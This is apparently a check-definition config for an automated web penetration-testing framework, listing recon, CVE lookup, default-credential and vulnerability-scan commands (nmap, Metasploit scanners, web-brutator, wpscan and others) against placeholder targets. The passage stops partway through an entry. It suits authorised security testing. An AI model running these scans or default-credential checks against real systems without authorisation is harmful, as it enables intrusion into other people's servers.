#
# <service_name>.conf (one config file per service):
# --------------------------------------------------
# [config]
# default_port     = [0-65535] (mandatory)
# protocol         = tcp|udp (mandatory)
# categories       = list of categories for classifying checks ([a-z0-9_-]) (mandatory)
# auth_types       = list of authentication types, only for HTTP ([a-z0-9_-]) (optional)

# [specific_options] (optional)
# <option_name ([a-z0-9_-])> = boolean:default_value|list|var
#       (for boolean, default value can be added, True or False. False by default)

# [supported_list_options] (required if options of type list are present)
# For each option of type "list":
#   supported_<option_name> = list of supported values for the option ([a-z0-9_-])

# [products] (optional)
#   <product_type> ([a-z0-9_-]) = list of supported product names ([a-zA-Z0-9_\/-. ])
#   format: [vendor/]product_name (vendor can be omitted if no confusion)

# For each check:
#   [check_<check_name>]
#   name           = display name (mandatory) 
#   category       = category inside which this check is classified (mandatory)
#   description    = short text describing the check (mandatory)
#   tool           = tool_name of the tool to use
#   For each command (there must be at least one command):
#       command_<command_number> = command-line for the check, multiple tags supported
#       context_<command_number> = context that must be met to run the command (optional)
#

[config]
default_port = 80
protocol     = tcp
categories   = recon, vulnlookup, defaultcreds, vulnscan, exploit, bruteforce, discovery, postexploit
auth_types   = 
    axis2,
    coldfusion,
    domino,
    drupal,
    glassfish, 
    htaccess,
    jboss, 
    jenkins, 
    joomla,
    magento,
    opencart,
    railo,
    tomcat, 
    weblogic, 
    websphere, 
    wordpress

[specific_options]
https       = boolean
webdav      = boolean
htaccess    = boolean
weblogic-t3 = boolean

[products]
web-language =
    Microsoft/ASP.NET,
    CFML,
    Go,
    Java,
    Lua,
    Node.js,
    Perl,
    PHP,
    Python,
    Ruby

web-application-firewall =
    aeSecure/aeSecure,
    Phion/Ergon/Airlock,
    Alert Logic/Alert Logic,
    Alibaba Cloud Computing/AliYunDun,
    Anquanbao/Anquanbao,
    AnYu Technologies/AnYu,
    Approach/Approach,
    Armor/Armor Defense,
    Microsoft/ASP.NET Generic Protection,
    Czar Securities/Astra Web Protection,
    Amazon/AWS Elastic Load Balancer,
    Baidu Cloud Computing/Yunjiasu,
    Ethic Ninja/Barikode,
    Barracuda Networks/Barracuda Application Firewall,
    Faydata Technologies Inc./Bekchy,
    BinarySec/BinarySec,
    BitNinja/BitNinja,
    BlockDoS/BlockDoS,
    Bluedon IST/Bluedon,
    Varnish/CacheWall,
    CdnNs/WdidcNet/CdnNS Application Gateway,
    Cerber Tech/WP Cerber Security,
    ChinaCache/ChinaCache CDN Load Balancer,
    Yunaq/Chuang Yu Shield,
    Cisco/ACE XML Gateway,
    Penta Security/Cloudbric,
    Cloudflare Inc./Cloudflare,
    Amazon/Cloudfront,
    Comodo CyberSecurity/Comodo cWatch,
    Jean-Denis Brun/CrawlProtect,
    Rohde & Schwarz CyberSecurity/DenyALL,
    Distil Networks/Distil,
    DOSarrest Internet Security/DOSarrest,
    Applicure Technologies/DotDefender,
    DynamicWeb/DynamicWeb Injection Check,
    Verizon Digital Media/Edgecast,
    EllisLab/Expression Engine,
    F5 Networks/BIG-IP Access Policy Manager,
    F5 Networks/BIG-IP Application Security Manager,
    F5 Networks/BIG-IP Local Traffic Manager,
    F5 Networks/FirePass,
    F5 Networks/Trafficshield,
    Fortinet/FortiWeb,
    GoDaddy/GoDaddy Website Protection,
    Grey Wizard/Greywizard,
    Art of Defense/HyperGuard,
    IBM/DataPower,
    CloudLinux/Imunify360,
    Imperva Inc./Incapsula,
    Instart Logic/Instart DX,
    Microsoft/ISA Server,
    Janusec/Janusec Application Gateway,
    Jiasule/Jiasule,
    KnownSec/KS-WAF,
    Akamai/Kona Site Defender,
    LiteSpeed Technologies/LiteSpeed Firewall,
    Inactiv/Malcare,
    Mission Control/Mission Control Application Shield,
    SpiderLabs/ModSecurity,
    NBS Systems/NAXSI,
    PentestIt/Nemesida,
    Barracuda Networks/NetContinuum,
    Citrix Systems/NetScaler AppFirewall,
    AdNovum/NevisProxy,
    NewDefend/Newdefend,
    NexusGuard/NexusGuard Firewall,
    NinTechNet/NinjaFirewall,
    NSFocus Global Inc./NSFocus,
    BlackBaud/OnMessage Shield,
    Palo Alto Networks/Palo Alto Next Gen Firewall,
    PerimeterX/PerimeterX,
    PowerCDN/PowerCDN,
    ArmorLogic/Profense,
    Radware/AppWall,
    Reblaze/Reblaze,
    RSJoomla!/RSFirewall,
    Microsoft/ASP.NET RequestValidationMode,
    Sabre/Sabre Firewall,
    Safe3/Safe3 Web Firewall,
    SafeDog/Safedog,
    Chaitin Tech./Safeline,
    SecuPress/SecuPress WordPress Security,
    United Security Providers/Secure Entry,
    BeyondTrust/eEye SecureIIS,
    Imperva Inc./SecureSphere,
    Neusoft/SEnginx,
    One Dollar Plugin/Shield Security,
    SiteGround/SiteGround,
    Sakura Inc./SiteGuard,
    TrueShield/Sitelock,
    Dell/SonicWall,
    Sophos/UTM Web Protection,
    Squarespace/Squarespace,
    StackPath/StackPath,
    Sucuri Inc./Sucuri CloudProxy,
    Tencent Technologies/Tencent Cloud Firewall,
    Citrix Systems/Teros,
    TransIP/TransIP Web Firewall,
    iFinity/DotNetNuke/URLMaster SecurityCheck,
    Microsoft/URLScan,
    OWASP/Varnish,
    VirusDie LLC/VirusDie,
    Wallarm Inc./Wallarm,
    WatchGuard Technologies/WatchGuard,
    WebARX Security Solutions/WebARX,
    AQTRONIX/WebKnight,
    IBM/WebSEAL,
    WebTotem/WebTotem,
    Feedjit/Wordfence,
    WTS/WTS-WAF,
    360 Technologies/360WangZhanBao,
    XLabs/XLabs Security WAF,
    Yundun/Yundun,
    Yunsuo/Yunsuo,
    Zenedge/Zenedge,
    Accenture/ZScaler,
    West263 Content Delivery Network,
    pkSecurity Intrusion Detection System,
    Xuanwudun,
    Open-Resty Lua Nginx WAF

web-framework =
    Bootstrap,
    Angular Material,
    CakePHP,
    Codeigniter,
    Django,
    Expressjs/Express,
    Google/Web Toolkit,
    Laravel,
    Ruby On Rails,
    Symfony,
    Yiiframework

web-jslib = 
    Angularjs,
    Backbone.js,
    ef.js,
    FancyBox,
    Handlebars,
    Jquery,
    Jquery UI,
    Lightbox,
    Modernizr,
    Moment.js,
    MooTools,
    Mustache.js,
    Prototype Javascript Framework,
    React,
    RequireJS,
    TweenMax,
    Underscore.js

web-cms =
    3dcart,
    Advanced Electron Forum,
    Afosto,
    Afterbuy,
    Ametys Cms,
    Apostrophe Cms,
    Arastta,
    AsciiDoc,
    Aspnetforum,
    Beehive Forum,
    Bigcommerce,
    Bigware Shop,
    Bizweb,
    Bolt,
    Browsercms,
    Bubble,
    Burning Board,
    Adobe/Business Catalyst,
    Ckan,
    Clientexec,
    Cloudcart,
    Colormeshop,
    Contao Cms,
    Contendio,
    Contensis Cms,
    Contentbox,
    Contentful,
    Cpg Dragonfly Cms,
    Cotonti Siena,
    Craft Cms,
    Danneo/Cms,
    Sitecore/Cms,
    Cms Made Simple,
    Cmsimple,
    Concrete5,
    Dedecms,
    Discourse,
    Discuz,
    Django Cms,
    Dokuwiki,
    Dotcms,
    Dotnetnuke,
    Domino,
    Drupal,
    E107,
    Episerver,
    Expressionengine,
    Ez Publish,
    Flarum,
    Flexcmp,
    Fluxbb,
    Fork Cms,
    Fudforum,
    Getsimple Cms,
    Ghost Cms,
    Gravcms,
    Hippo Cms,
    Hotaru Cms,
    Impresspages Cms,
    Indexhibit,
    Invision Power Board,
    Jalios Jcms,
    Jimdo,
    Jforum,
    Joomla,
    Koken,
    Kooboo Cms,
    Lepton-cms/Lepton,
    Liferay,
    Livejournal,
    Livestreet,
    Magento,
    Majordomo,
    Mambo,
    Squiz/Matrix,
    Mediawiki,
    Minibb,
    Mercuryboard,
    Modx Revolution,
    Moodle,
    Moto Cms,
    Movable Type,
    Mura Cms,
    Mvnforum,
    Mwforum,
    Mybb,
    Nodebb,
    NoNonsense Forum,
    October Cms,
    Odoo,
    Opencart,
    Opencms,
    Opentext Wsm,
    Ophal,
    Orchard,
    Pencilblue,
    Percussion Cms,
    Phorum,
    Php-nuke,
    Phpbb,
    Phpcms,
    Phpmyadmin,
    Phppgadmin,
    Phpwind,
    Pimcore,
    Plone,
    Presstopia,
    Prestashop,
    Punbb,
    Quick.cms,
    Rcms,
    Ritecms,
    Roadiz Cms,
    Rock Rms,
    Roundcube Webmail,
    Seamlesscms,
    Serendipity,
    Sharepoint,
    Silva,
    Silverstripe,
    Simple Machines Forum,
    Sitecore,
    Sitefinity,
    Snews,
    Solodev,
    Spin Cms,
    Squirrelmail,
    Subrion Cms,
    Sulu,
    Textpattern,
    Tiddlywiki,
    Tikiwiki,
    Typo3,
    UBB.threads,
    Uknowva,
    Ultimate Php Board,
    Ushahidi Platform,
    Umbraco,
    Umi Cms,
    Vanilla Forums,
    Vbulletin,
    Webflow Cms,
    Webgui,
    Websitebaker,
    Wolf Cms,
    Wordpress,
    Xenforo,
    Xmb,
    Xoops,
    Yabb,
    Yazd Discussion Forum,
    Yet Another Forum.net,
    Zen Cart,
    Zen Photos

web-server = 
    Apache,
    Hiawatha,
    IBM/HTTP Server,
    Lighttpd,
    LiteSpeed Web Server,
    Microsoft/IIS,
    Mongoose,
    Monkey Http Daemon,
    Nginx,
    Oracle/Http Server,
    Rejetto/Http File Server,
    Thttpd,
    Yaws,
    Zeus Web Server,

web-appserver = 
    Adobe/Coldfusion,
    Apache/Axis2,
    Apache/Tomcat,
    Eclipse/Jetty,
    Jboss,
    Jenkins,
    Oracle/Glassfish,
    Oracle/Weblogic Server,
    Railo,
    Websphere Application Server,
    Zope


#########################################################################################
# Recon
#########################################################################################
[check_nmap-recon]
name        = nmap-recon
category    = recon
description = Recon using Nmap HTTP scripts
tool        = nmap
command_1   = sudo nmap -sT -sV -Pn -vv -p [PORT] --script-args=unsafe=1 --script='http-adobe-coldfusion-apsa1301,http-apache-negotiation,http-apache-server-status,http-aspnet-debug,http-auth-finder,http-axis2-dir-traversal,http-bigip-cookie,http-cakephp-version,http-coldfusion-subzero,http-comments-displayer,http-cookie-flags,http-cors,http-cross-domain-policy,http-errors,http-favicon,http-generator,http-git,http-iis-webdav-vuln,http-mcmp,http-methods,http-method-tamper,http-mobileversion-checker,http-ntlm-info,http-passwd,http-phpmyadmin-dir-traversal,http-phpself-xss,http-php-version,http-put,http-robots.txt,http-security-headers,http-server-header,http-shellshock,http-svn-enum,http-svn-info,http-title,http-trace,http-vuln*,http-webdav-scan,weblogic-t3-info' --script-args http.useragent='Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0' --stats-every 10s -d [IP]

[check_waf-detection]
name        = waf-detection
category    = recon
description = Identify and fingerprint WAF products protecting website
tool        = wafw00f
command_1   = ./build/scripts-3*/wafw00f -v -a [URL]

[check_waf-detection2]
name        = waf-detection2
category    = recon
description = Identify and fingerprint WAF products protecting website
tool        = identywaf
command_1   = python3 identYwaf.py [URL]

[check_cloudmare-recon]
name        = cloudmare-recon
category    = recon
description = Try to find real ip behind cloudflare
tool        = cloudmare
context_1   = { 'web-application-firewall': 'Cloudflare Inc./Cloudflare'}
command_1   = python2.7 Cloudmare.py --subdomain [DOMAIN]

[check_load-balancing-detection]
name        = load-balancing-detection
category    = recon
description = HTTP load balancer detection
tool        = halberd
command_1   = ./build/scripts-2.7/halberd -v [URL]

# [check_tls-probing]
# name        = tls-probing
# category    = recon
# description = Identify the implementation in use by SSL/TLS servers (might allow server fingerprinting)
# tool        = tls-prober
# command_1   = python2.7 prober.py -p [PORT] [IP]
# context_1   = { 'https': True }

[check_fingerprinting-multi-whatweb]
name        = fingerprinting-multi-whatweb
category    = recon
description = Identify CMS, blogging platforms, JS libraries, Web servers
tool        = whatweb
command_1   = ruby ./whatweb --user-agent 'Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0' -a 3 -v [URL]
# whatweb bugs with ruby2.5 (no output) cf. https://github.com/urbanadventurer/WhatWeb/issues/244

[check_fingerprinting-appserver]
name        = fingerprinting-appserver
category    = recon
description = Fingerprint application server (JBoss, ColdFusion, Weblogic, Tomcat, Railo, Axis2, Glassfish)
tool        = clusterd
command_1   = python2.7 ./clusterd.py --fingerprint -i [IP] -p [PORT] [HTTPS true="--ssl"] --random-agent -d
command_2   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a axis2 --ax-info --ax-lfi --random-agent -d
context_2   = { 'web-appserver': 'Apache/Axis2' }
command_3   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a coldfusion --cf-hash --random-agent -d
context_3   = { 'web-appserver': 'Adobe/Coldfusion'}
command_4   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a tomcat --tc-ofetch --tc-info --tc-smb --random-agent -d
context_4   = { 'web-appserver': 'Apache/Tomcat'}
command_5   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a railo --rl-info --rl-pw --rl-smb --random-agent -d
context_5   = { 'web-appserver': 'Railo'}
command_6   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a jboss --jb-fetch --jb-info --jb-list --jb-smb --random-agent -d
context_6   = { 'web-appserver': 'Jboss'}
command_7   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a glassfish --gf-list --random-agent -d
context_7   = { 'web-appserver': 'Oracle/Glassfish'}

[check_webdav-detection-msf]
name        = webdav-detection-msf
category    = recon
description = Detect WebDAV on webserver
tool        = metasploit
command_1   = sudo msfconsole -q -x "use auxiliary/scanner/http/webdav_scanner; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set VERBOSE true; run; exit"

[check_fingerprinting-multi-wig]
name        = fingerprinting-multi-wig
category    = recon
description = Fingerprint several CMS and web/application servers
tool        = wig
command_1   = python3 ./wig.py -q -a -t 10 -vvv [URL]

[check_fingerprinting-cms-cmseek]
name        = fingerprinting-cms-cmseek
category    = recon
description = Detect CMS (130+ supported), detect version on Drupal, advanced scan on Wordpress/Joomla
tool        = cmseek
command_1   = /bin/bash -c 'yes | python3 cmseek.py --clear-result; yes | python3 cmseek.py -v --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0" -u https://192.168.1.1 > /tmp/cmseek.txt && tail -n +2 /tmp/cmseek.txt; cat Result/*/cms.json; rm /tmp/cmseek.txt'
#json=$(cat /tmp/cmseek.txt | grep --color=never "cms.json" | cut -d":" -f2 | sed "s/\x1b\[[0-9;]*m//g"); if [ ! -z $json ]; then cat $json; fi; rm /tmp/cmseek.txt'

[check_fingerprinting-cms-fingerprinter]
name        = fingerprinting-cms-fingerprinter
category    = recon
description = Fingerprint precisely CMS versions if faster methods failed (based on files checksums)
tool        = fingerprinter
command_1   = ruby fingerprinter.rb --fingerprint [URL] -v -a wordpress
context_1   = { 'web-cms': 'Wordpress|version_unknown' }
command_2   = ruby fingerprinter.rb --fingerprint [URL] -v -a joomla
context_2   = { 'web-cms': 'Joomla|version_unknown' }
command_3   = ruby fingerprinter.rb --fingerprint [URL] -v -a drupal
context_3   = { 'web-cms': 'Drupal|version_unknown' }
command_4   = ruby fingerprinter.rb --fingerprint [URL] -v -a magento-ce
context_4   = { 'web-cms': 'Magento|version_unknown' }
command_5   = ruby fingerprinter.rb --fingerprint [URL] -v -a prestashop
context_5   = { 'web-cms': 'Prestashop|version_unknown' }
command_6   = ruby fingerprinter.rb --fingerprint [URL] -v -a opencart
context_6   = { 'web-cms': 'Opencart|version_unknown' }
command_7   = ruby fingerprinter.rb --fingerprint [URL] -v -a liferay
context_7   = { 'web-cms': 'Liferay|version_unknown' }
command_8   = ruby fingerprinter.rb --fingerprint [URL] -v -a dotnetnuke
context_8   = { 'web-cms': 'Dotnetnuke|version_unknown' }
command_9   = ruby fingerprinter.rb --fingerprint [URL] -v -a django-cms
context_9   = { 'web-cms': 'Django Cms|version_unknown' }
command_10  = ruby fingerprinter.rb --fingerprint [URL] -v -a concrete5
context_10  = { 'web-cms': 'Concrete5|version_unknown' }
command_11  = ruby fingerprinter.rb --fingerprint [URL] -v -a cms-made-simple
context_11  = { 'web-cms': 'Cms Made Simple|version_unknown' }
command_12  = ruby fingerprinter.rb --fingerprint [URL] -v -a punbb
context_12  = { 'web-cms': 'Punbb|version_unknown' }
command_13  = ruby fingerprinter.rb --fingerprint [URL] -v -a moodle
context_13  = { 'web-cms': 'Moodle|version_unknown' }

[check_fingerprinting-drupal]
name        = fingerprinting-drupal
category    = recon
description = Fingerprint Drupal 7/8: users, nodes, default files, modules, themes enumeration
tool        = drupwn
command_1   = python3 drupwn enum [URL]
context_1   = { 'web-cms': 'Drupal' }

[check_fingerprinting-domino]
name        = fingerprinting-domino
category    = recon
description = Fingerprint IBM/Lotus Domino software
tool        = domiowned
command_1   = python3 domi-owned.py fingerprint [URL]
context_1   = { 'web-cms': 'Domino' }
command_2   = python3 domi-owned.py enumerate [URL]
context_2   = { 'web-cms': 'Domino' }

[check_crawling-fast]
name        = crawling-fast
category    = recon
description = Crawl website quickly, analyze interesting files/directories
tool        = dirhunt
command_1   = dirhunt [URL]

[check_crawling-fast2]
name        = crawling-fast2
category    = recon
description = Crawl website and extract URLs, files, intel & endpoints
tool        = photon
command_1   = python3 photon.py --url [URL] -o output; cd output; for f in `ls *.txt`; do echo; echo $f; echo "---------------------------------------------------"; cat $f | sed 's/\\n/\n/g'; echo; echo; done; cd ..; rm -rf output;


#########################################################################################
# Vulnlookup
#########################################################################################
[check_vulners-lookup]
name        = vulners-lookup
category    = vulnlookup
description = Vulnerabilities lookup (language, framework, jslib, cms, server, appserver) on Vulners.com
tool        = vulners-lookup
apikey      = vulners
command_1   = python3 vulners-lookup.py --apikey [APIKEY name="vulners"] '[WEB-LANGUAGE-VENDOR] [WEB-LANGUAGE-NAME] [WEB-LANGUAGE-VERSION]'
context_1   = { 'web-language': 'any|version_known' }
command_2   = python3 vulners-lookup.py --apikey [APIKEY name="vulners"] '[WEB-FRAMEWORK-VENDOR] [WEB-FRAMEWORK-NAME] [WEB-FRAMEWORK-VERSION]'
context_2   = { 'web-framework': 'any|version_known' }
command_3   = python3 vulners-lookup.py --apikey [APIKEY name="vulners"] '[WEB-JSLIB-VENDOR] [WEB-JSLIB-NAME] [WEB-JSLIB-VERSION]'
context_3   = { 'web-jslib': 'any|version_known' }
command_4   = python3 vulners-lookup.py --apikey [APIKEY name="vulners"] '[WEB-CMS-VENDOR] [WEB-CMS-NAME] [WEB-CMS-VERSION]'
context_4   = { 'web-cms': 'any|version_known' }
command_5   = python3 vulners-lookup.py --apikey [APIKEY name="vulners"] '[WEB-SERVER-VENDOR] [WEB-SERVER-NAME] [WEB-SERVER-VERSION]'
context_5   = { 'web-server': 'any|version_known' }
command_6   = python3 vulners-lookup.py --apikey [APIKEY name="vulners"] '[WEB-APPSERVER-VENDOR] [WEB-APPSERVER-NAME] [WEB-APPSERVER-VERSION]'
context_6   = { 'web-appserver': 'any|version_known' }

[check_cvedetails-lookup]
name        = cvedetails-lookup
category    = vulnlookup
description = Vulnerabilities lookup (language, framework, jslib, cms, server, appserver) on Cvedetails.com
tool        = cvedetails-lookup
command_1   = python3 cvedetails-lookup.py --vendor "[WEB-LANGUAGE-VENDOR]" --product "[WEB-LANGUAGE-NAME]" --version "[WEB-LANGUAGE-VERSION]"
context_1   = { 'web-language': 'any|version_known' }
command_2   = python3 cvedetails-lookup.py --vendor "[WEB-FRAMEWORK-VENDOR]" --product "[WEB-FRAMEWORK-NAME]" --version "[WEB-FRAMEWORK-VERSION]"
context_2   = { 'web-framework': 'any|version_known' }
command_3   = python3 cvedetails-lookup.py --vendor "[WEB-JSLIB-VENDOR]" --product "[WEB-JSLIB-NAME]" --version "[WEB-JSLIB-VERSION]"
context_3   = { 'web-jslib': 'any|version_known' }
command_4   = python3 cvedetails-lookup.py --vendor "[WEB-CMS-VENDOR]" --product "[WEB-CMS-NAME]" --version "[WEB-CMS-VERSION]"
context_4   = { 'web-cms': 'any|version_known' }
command_5   = python3 cvedetails-lookup.py --vendor "[WEB-SERVER-VENDOR]" --product "[WEB-SERVER-NAME]" --version "[WEB-SERVER-VERSION]"
context_5   = { 'web-server': 'any|version_known' }
command_6   = python3 cvedetails-lookup.py --vendor "[WEB-APPSERVER-VENDOR]" --product "[WEB-APPSERVER-NAME]" --version "[WEB-APPSERVER-VERSION]"
context_6   = { 'web-appserver': 'any|version_known' }



#########################################################################################
# Defaultcreds
#########################################################################################
[check_default-creds-multi]
name        = default-creds-web-multi
category    = defaultcreds
description = Check for default credentials on various web interfaces
tool        = changeme
command_1   = python3 changeme.py -v [HTTPS true="--ssl"] --protocols http [IP]:[PORT]

[check_default-creds-appserver]
name        = default-creds-appserver
category    = defaultcreds
description = Check for default/common credentials on appservers
tool        = web-brutator
command_1   = python3 web-brutator.py --url [URL] --target axis2 --combolist '[WORDLISTSDIR]/services/http/creds/app-servers/axis2-default-combo.txt'
context_1   = { 'web-appserver': 'Apache/Axis2' }
command_2   = python3 web-brutator.py --url [URL] --target coldfusion --combolist '[WORDLISTSDIR]/services/http/creds/app-servers/coldfusion-default-combo.txt'
context_2   = { 'web-appserver': 'Adobe/Coldfusion' }
command_3   = python3 web-brutator.py --url [URL] --target glassfish --combolist '[WORDLISTSDIR]/services/http/creds/app-servers/glassfish-default-combo.txt'
context_3   = { 'web-appserver': 'Oracle/Glassfish' }
command_4   = python3 web-brutator.py --url [URL] --target jboss --combolist '[WORDLISTSDIR]/services/http/creds/app-servers/jboss-default-combo.txt'
context_4   = { 'web-appserver': 'Jboss' }
command_5   = python3 web-brutator.py --url [URL] --target jenkins --combolist '[WORDLISTSDIR]/services/http/creds/app-servers/jenkins-default-combo.txt'
context_5   = { 'web-appserver': 'Jenkins' }
command_6   = python3 web-brutator.py --url [URL] --target railo --combolist '[WORDLISTSDIR]/services/http/creds/app-servers/railo-default-combo.txt'
context_6   = { 'web-appserver': 'Railo' }
command_7   = python3 web-brutator.py --url [URL] --target tomcat --combolist '[WORDLISTSDIR]/services/http/creds/app-servers/tomcat-default-combo.txt'
context_7   = { 'web-appserver': 'Apache/Tomcat' }
command_8   = python3 web-brutator.py --url [URL] --target weblogic --combolist '[WORDLISTSDIR]/services/http/creds/app-servers/weblogic-default-combo.txt'
context_8   = { 'web-appserver': 'Oracle/Weblogic Server' }
command_9   = python3 web-brutator.py --url [URL] --target websphere --combolist '[WORDLISTSDIR]/services/http/creds/app-servers/websphere-default-combo.txt'
context_9   = { 'web-appserver': 'Websphere Application Server' }

# [check_tomcat-default-creds]
# name        = tomcat-default-creds
# category    = vulnscan
# description = Check default credentials on Tomcat Application Manager
# tool        = metasploit
# command_1   = sudo msfconsole -q -x "use auxiliary/scanner/http/tomcat_mgr_login; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set USER_FILE '[USERLIST default="services/http/creds/app-servers/tomcat-usernames.txt"]'; set PASS_FILE '[PASSLIST default="services/http/creds/app-servers/tomcat-passwords.txt"]'; set THREADS 10; run; exit"
# context_1   = { 'web-appserver': 'Apache/Tomcat', 'auth_type': 'tomcat', 'auth_status': NO_AUTH }
# command_2   = sudo msfconsole -q -x "use auxiliary/scanner/http/tomcat_mgr_login; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set USERNAME '[USERNAME]'; set PASS_FILE '[PASSLIST default="services/http/creds/app-servers/tomcat-passwords.txt"]'; set THREADS 10; run; exit"
# context_2   = { 'web-appserver': 'Apache/Tomcat', 'auth_type': 'tomcat', 'auth_status': USER_ONLY }


#########################################################################################
# Vulnscan 
#########################################################################################
[check_ssl-check]
name        = ssl-check
category    = vulnscan
description = Check for SSL/TLS configuration
tool        = testssl
command_1   = ./testssl.sh [URL]
context_1   = { 'https': True }

[check_headers-analysis]
name        = headers-analysis
category    = vulnscan
description = Check HTTP headers
tool        = h2t
command_1   = python3 h2t.py scan [URL] -p description -vv -k

[check_vulnscan-multi-nikto]
name        = vulnscan-multi-nikto
category    = vulnscan
description = Check for multiple web vulnerabilities/misconfigurations
tool        = nikto
command_1   = cd program; perl ./nikto.pl -host [IP] -port [PORT] [HTTPS true="-ssl"]

[check_webdav-scan-davscan]
name        = webdav-scan-davscan
category    = vulnscan
description = Scan HTTP WebDAV
tool        = davscan
command_1   = python2.7 ./davscan.py -o [OUTPUT] [URL]
context_1   = { 'webdav': True }

[check_webdav-internal-ip-disclosure]
name        = webdav-internal-ip-disclosure
category    = vulnscan
description = Check for WebDAV internal IP disclosure
tool        = metasploit
command_1   = sudo msfconsole -q -x "use auxiliary/scanner/http/webdav_internal_ip; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set VERBOSE true; run; exit"
context_1   = { 'webdav': True }

[check_webdav-website-content]
name        = webdav-website-content
category    = vulnscan
description = Detect webservers disclosing its content through WebDAV
tool        = metasploit
command_1   = sudo msfconsole -q -x "use auxiliary/scanner/http/webdav_website_content; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set VERBOSE true; run; exit"
context_1   = { 'webdav': True } 

[check_http-put-check]
name        = http-put-check
category    = vulnscan
description = Detect the support of dangerous HTTP PUT method
tool        = metasploit
command_1   = sudo msfconsole -q -x "use auxiliary/scanner/http/http_put; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set VERBOSE true; run; exit"

[check_apache-optionsbleed-check]
name        = apache-optionsbleed-check
category    = vulnscan
description = Test for the Optionsbleed bug in Apache httpd (CVE-2017-9798)
tool        = optionsbleed
command_1   = ./optionsbleed -n 40 -a -u [URL]

[check_shellshock-scan]
name        = shellshock-scan
category    = vulnscan
description = Detect if web server is vulnerable to Shellshock (CVE-2014-6271)
tool        = shocker
command_1   = python2.7 shocker.py --Host [IP] --port [PORT] [HTTPS true="--ssl"]

[check_iis-shortname-scan]
name        = iis-shortname-scan
category    = vulnscan
description = Scan for IIS short filename (8.3) disclosure vulnerability
tool        = iis-shortname-scanner
command_1   = java -jar iis_shortname_scanner.jar 2 20 [URL]
context_1   = { 'web-server': 'Microsoft/IIS'}

[check_iis-internal-ip-disclosure]
name        = iis-internal-ip-disclosure
category    = vulnscan
description = Check for IIS internal IP disclosure
tool        = metasploit
command_1   = sudo msfconsole -q -x "use auxiliary/scanner/http/iis_internal_ip; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; set VERBOSE true; [HTTPS true="set SSL true"]; set VERBOSE true; run; exit"
context_1   = { 'web-server': 'Microsoft/IIS'}

[check_tomcat-user-enum]
name        = tomcat-user-enum
category    = vulnscan
description = Enumerate users on Tomcat 4.1.0-4.1.39, 5.5.0-5.5.27 and 6.0.0-6.0.18
tool        = metasploit
command_1   = sudo msfconsole -q -x "use auxiliary/scanner/http/tomcat_enum; set RHOSTS [HOST]; set RHOST [IP]; set RPORT [PORT]; set VERBOSE true; [HTTPS true="set SSL true"]; set VERBOSE true; run; exit"
context_1   = { 'web-appserver': 'Apache/Tomcat' }

[check_jboss-vulnscan-multi]
name        = jboss-vulnscan-multi
category    = vulnscan
description = Scan JBoss application server for multiple vulnerabilities
tool        = metasploit
command_1   = sudo msfconsole -q -x "use auxiliary/scanner/http/jboss_vulnscan; set RHOSTS [HOST]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set VERBOSE true; run; exit"
context_1   = { 'web-appserver': 'JBoss' }

[check_jboss-status-infoleak]
name        = jboss-status-infoleak
category    = vulnscan
description = Queries JBoss status servlet to collect sensitive information (JBoss 4.0, 4.2.2 and 4.2.3) 
tool        = metasploit
command_1   = sudo msfconsole -q -x "use auxiliary/scanner/http/jboss_status; set RHOSTS [HOST]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set VERBOSE true; run; exit"
context_1   = { 'web-appserver': 'JBoss' }

[check_jenkins-infoleak]
name        = jenkins-infoleak
category    = vulnscan
description = Enumerate a remote Jenkins-CI installation in an unauthenticated manner
tool        = metasploit
command_1   = sudo msfconsole -q -x "use auxiliary/scanner/http/jenkins_enum; set RHOSTS [HOST]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set VERBOSE true; run; exit"
context_1   = { 'web-appserver': 'Jenkins' }

[check_cms-multi-vulnscan-cmsmap]
name        = cms-multi-vulnscan-cmsmap
category    = vulnscan
description = Check for vulnerabilities in CMS Wordpress, Drupal, Joomla
tool        = cmsmap
# Need to do apt-get update before to make sure update of exploitdb will work
command_1   = sudo apt-get update; /bin/bash -c 'yes | python3 cmsmap.py -v -F -f W --nosslcheck -t 10 [URL]'
context_1   = { 'web-cms': 'Wordpress' }
command_2   = sudo apt-get update; /bin/bash -c 'yes | python3 cmsmap.py -v -F -f J --nosslcheck -t 10 [URL]'
context_2   = { 'web-cms': 'Joomla' }
command_3   = sudo apt-get update; /bin/bash -c 'yes | python3 cmsmap.py -v -F -f D --nosslcheck -t 10 [URL]'
context_3   = { 'web-cms': 'Drupal' }

[check_wordpress-vulnscan]
name        = wordpress-vulnscan
category    = vulnscan
description = Scan for vulnerabilities in CMS Wordpress
tool        = wpscan
command_1   = wpscan --url [URL] --disable-tls-checks -e vp,vt,tt,cb,dbe,m,u1-50 -v 
#--enumerate "u[1-50],p,tt,t"
context_1   = { 'web-cms': 'Wordpress' }

[check_wordpress-vulnscan2]
name        = wordpress-vulnscan2
category    = vulnscan
description = Scan for vulnerabilities in CMS Wordpress
tool        = wpseku
command_1   = python3 wpseku.py -v --url [URL]
context_1   = { 'web-cms': 'Wordpress' }

[check_joomla-vulnscan]
name        = joomla-vulnscan
category    = vulnscan
